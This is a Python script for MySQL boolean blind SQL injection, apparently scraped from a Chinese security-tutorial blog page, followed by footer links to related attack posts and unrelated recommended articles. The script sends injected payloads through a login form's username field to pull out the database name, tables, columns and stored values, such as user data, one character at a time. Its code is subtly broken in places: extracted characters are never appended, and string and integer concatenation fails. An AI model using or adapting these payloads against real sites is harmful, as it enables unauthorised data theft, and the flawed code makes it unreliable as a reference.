import requests
import string
#mysql  手动注入 通用脚本 适用盲注 可以跟具自己的需求更改
def  home():
    url="url"
    list=string.digits+string.letters+"!@#$%^&*()_+{}-=<>,./?"
    s=requests.session()
    success = ""  # 成功返回的特征
    error="" #失败返回的体征

# 1.拿到当前连接数据库长度
    leng=0
    i=0
    while True:
        sql="admin%1$\\' or  length(database())>"+str(i)+"#"
        data={"username":sql,"passwrod":1}
        r=s.post(url,data=data).content
        if  error in r :
            leng=i
            i=0
            break
        i+=1
    print ("length the database:%d" %leng)

#2.拿到当前连接数据库名
    strs=''
    for t in range(leng):
        for l in list:
            sql="admin%1$\\' or ascii(substr(database(),"+str(t)+",1))="+str(ord(l))+"#"
            data = {"username": sql, "passwrod": 1}
            r=s.post(url,data=data).content
            if success in r:
                strs+=strs
                break
    print("database is :%s" % (strs))

#3.拿当前数据库里面的所有表
    #拿到数据库表添加的长度
    while True:
        sql="admin%1$\\' or select length(group_concat(table_name)) from information_schema.tables where table_type='base table' and table_schema=database()<"+i+"#"
        data = {"username": sql, "passwrod": 1}
        r = s.post(url, data=data).content
        if error in r:
            leng=i
            i=0
            break
        i+=1
    print("length table is :%s" % (leng))
    #返回所有表
    for t in range(leng):
        for l in list:
            sql = "admin%1$\\' or ascii(substr(select group_concat(table_name) from information_schema.tables where table_type='base table' and table_schema=database(),"+str(t)+",1))="+str(ord(l))+"#"
            data = {"username": sql, "passwrod": 1}
            r=s.post(url,data=data).content
            if success in r:
                strs+=strs
                break
    print("talbes is :%s" % (strs))
#4.选择先要查询的表  返回表所有字段
    #返回长度
    table='table'#要查找的表名
    tablename = '0x' + table.encode('hex')
    table_name = table
    while True:
        sql = "admin%1$\\' or select length(group_concat(column_name)) from information_schema.columns  where table_name='"+table_name+"' and table_schema=database()<" + i + "#"
        data = {"username": sql, "passwrod": 1}
        r = s.post(url, data=data).content
        if error in r:
            leng = i
            i = 0
            break
        i += 1
    print("length table is :%s" % (leng))
    # 返回所有表
    for t in range(leng):
        for l in list:
            sql = "admin%1$\\' or ascii(substr(select group_concat(column_name) from information_schema.columns where table_name='"+table_name+"' and table_schema=database()," + str(
                t) + ",1))=" + str(ord(l)) + "#"
            data = {"username": sql, "passwrod": 1}
            r = s.post(url, data=data).content
            if success in r:
                strs += strs
                break
    print("talbes is :%s" % (strs))
# 5.返回相应字段里面的值
    num=0
    while True:
        sql = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"
        data = {'username':sql,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            num = i
            i=0
            break
        i+=1
        pass
    print("[+]number(column): %d" %(num))

    # 返回长度
    table = 'table'  # 要查找的表名
    col='user'#要返回的字段
    for t in range(leng):
        for l in list:
            sql = "admin%1$\\' or  ascii(substr(select "+col+" from limit 0,1 "+table_name+","+str(t)+",1))=" + str(ord(l)) + "#"
            data = {"username": sql, "passwrod": 1}
            r = s.post(url, data=data).content
            if success in r:
                strs += strs
                break
    print("talbes is :%s" % (strs))

从零开始学安全(三十五)●mysql 盲注手工自定义python脚本的更多相关文章

  1. 从零开始学安全(三十)●使用sqlmap对网站一步步渗透

    常规注入步骤第一步注入点-u "url" 判断是否是注入点 有就判断用户的权限第二步获取数据库 所有的 -u "url" --dbs第三步 查看应用程序所有数据 ...

  2. Python学习日记(三十五) Mysql数据库篇 三

    使用Navicate 创建一个连接去使用Mysql的数据库,连接名可以取任意字符但是要有意义 新增一个数据库 填写新数据库名,设置它的字符集和排序规则 新建一个表 增加表中的信息 点击保存再去输入表名 ...

  3. 三十五.MySQL读写分离 MySQL多实例 、MySQL性能调优

    1.实现MySQL读写分离 搭建一主一从结构 配置maxscale代理服务器 测试分离配置   1.1 搭建一主一从结构 192.168.4.51 主 192.168.4.52 从 测试OK   1. ...

  4. 从零开始学安全(四十五)●browser_autopwn2漏洞利用配合Ettercap工具实施DNS欺骗攻击

    系统:kali 2019  工具Ettercap,Metasploit 环境内网地址 首先 cd /etc/ettercap/ 移动在ettercap 文件下 在用vim 打开编辑 etter.dns ...

  5. 从零开始学安全(三十九)●FCK编辑器解析漏洞

    fck 现在存在漏洞的本版分别是 2.4.2 ,2.4.4,2.6.6 可以在 查看版本 2.4.2 在 图片域有上传点 2.4.4 这里有几个按钮,首先是 Get Folders and Files ...

  6. 从零开始学安全(三十八)●cobaltstrike生成木马抓肉鸡

    链接:https://pan.baidu.com/s/1qstCSM9nO95tFGBsnYFYZw 提取码:w6ih  上面是工具 需要java jdk 在1.8.5 以上  实验环境windows ...

  7. 从零开始学安全(三十六)●利用python 爆破form表单

    import sys import requests from requests.auth import HTTPBasicAuth def Brute_Force_Web(postData): re ...

  8. 从零开始学安全(三十四)●百度杯 ctf比赛 九月场 sqli

    先扫后台发现 两个可疑登录界面 l0gin.php login.php 猜测是第一个 用bp 抓包发现 index.php 中间有302 重定向 头文件 里面有一个 page=l0gin.php 应该 ...

  9. 从零开始学安全(二十五)●用nmap做端口扫描

    以上是常用的端口扫描 -T 用法 每个级别发包时间  当没有使用T 时默认的使用T3级别发包 半开扫描  先探测主机是否存活 再用-sS  扫描端口   容易造成syn 包攻击 就是利用僵尸主机  进 ...

随机推荐

  1. [LeetCode] Peak Index in a Mountain Array 山形数组的顶峰坐标

    Let's call an array A a mountain if the following properties hold: A.length >= 3 There exists som ...

  2. [VUE]object.defineProperty的基本使用

    1.object.defineProperty 给一个对象定义一个新的属性或者在修改一个对象现有的属性,并返回这个对象 语法: Object.defineProperty(参数1,参数2,参数3) 参 ...

  3. 实验五:任意输入10个int类型数据,排序输出,并找出素数

    源代码: package 数组;import java.util.*;public class vvv { public static void main(String[] args) { Scann ...

  4. 3-3 Hadoop集群完全分布式配置部署

    Hadoop集群完全分布式配置部署 下面的部署步骤,除非说明是在哪个服务器上操作,否则默认为在所有服务器上都要操作.为了方便,使用root用户. 1.准备工作 1.1 centOS6服务器3台 手动指 ...

  5. 实战深度学习(上)OpenCV库

    在如今人工智能的浪潮下,无数模拟机器学习和深度学习的开发者工具倍出,其中在计算机图形学和计算机视觉里面最流行的一个库就是OpenCV库了.计算机图形学和计算机视觉学在我们的自动驾驶和仿生机器人当中有着 ...

  6. webpack 4.0 中 clean-webpack-plugin 的使用

    其实 clean-webpack-plugin 很容易知道它的作用,就是来清除文件的. 一般这个插件是配合 webpack -p 这条命令来使用,就是说在为生产环境编译文件的时候,先把 build或d ...

  7. App功能测试

    App功能测试 1.  运行 1)App安装完成后的试运行,可正常打开软件. 2)App打开测试,是否有加载状态进度提示. 3)App页面间的切换是否流畅,逻辑是否正确. 4)注册 同表单编辑页面 用 ...

  8. 体验一把做黑客的感觉-IPC$入侵之远程控制

    前言 一看你就是看标题进来的,我可不是标题党啊,大家往下看吧,本文章主要介绍了利用IPC共享漏洞上传并执行木马. 基础知识 一.什么是IPC 进程间通信(IPC,Inter-Process Commu ...

  9. [Swift]LeetCode733. 图像渲染 | Flood Fill

    An image is represented by a 2-D array of integers, each integer representing the pixel value of the ...

  10. apache(OS 10013)以一种访问权限不允许的方式做了一个访问套接字的尝试 ...

    今天启动Apache时, 报了“(OS 10013)以一种访问权限不允许的方式做了一个访问套接字的尝试. : make_sock: could not bind to address 0.0.0.0: ...